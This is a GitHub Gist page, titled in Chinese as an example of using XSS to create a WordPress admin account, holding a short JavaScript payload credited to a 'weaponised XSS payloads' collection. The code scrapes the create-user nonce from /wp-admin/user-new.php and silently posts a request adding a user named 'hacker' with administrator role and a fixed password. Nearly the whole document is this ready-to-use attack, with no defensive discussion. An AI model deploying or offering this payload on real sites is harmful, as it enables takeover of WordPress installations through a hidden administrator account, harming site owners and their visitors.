Skip to content

Instantly share code, notes, and snippets.

@nczz
Last active May 25, 2019 05:21
Show Gist options
  • Save nczz/713dae60aaa764de6b01de3616dd6821 to your computer and use it in GitHub Desktop.
Save nczz/713dae60aaa764de6b01de3616dd6821 to your computer and use it in GitHub Desktop.
XSS 建立 WordPress 後台帳號的範例
/*
Credit: https://github.com/hakluke/weaponised-XSS-payloads/
*/
var wp_root = "" // don't add a trailing slash
var req = new XMLHttpRequest();
var url = wp_root + "/wp-admin/user-new.php";
var regex = /ser" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var nonce = regex.exec(req.responseText);
var nonce = nonce[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&email=hacker@example.com&pass1=AttackerP455&pass2=AttackerP455&role=administrator";
req.open("POST", url, true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment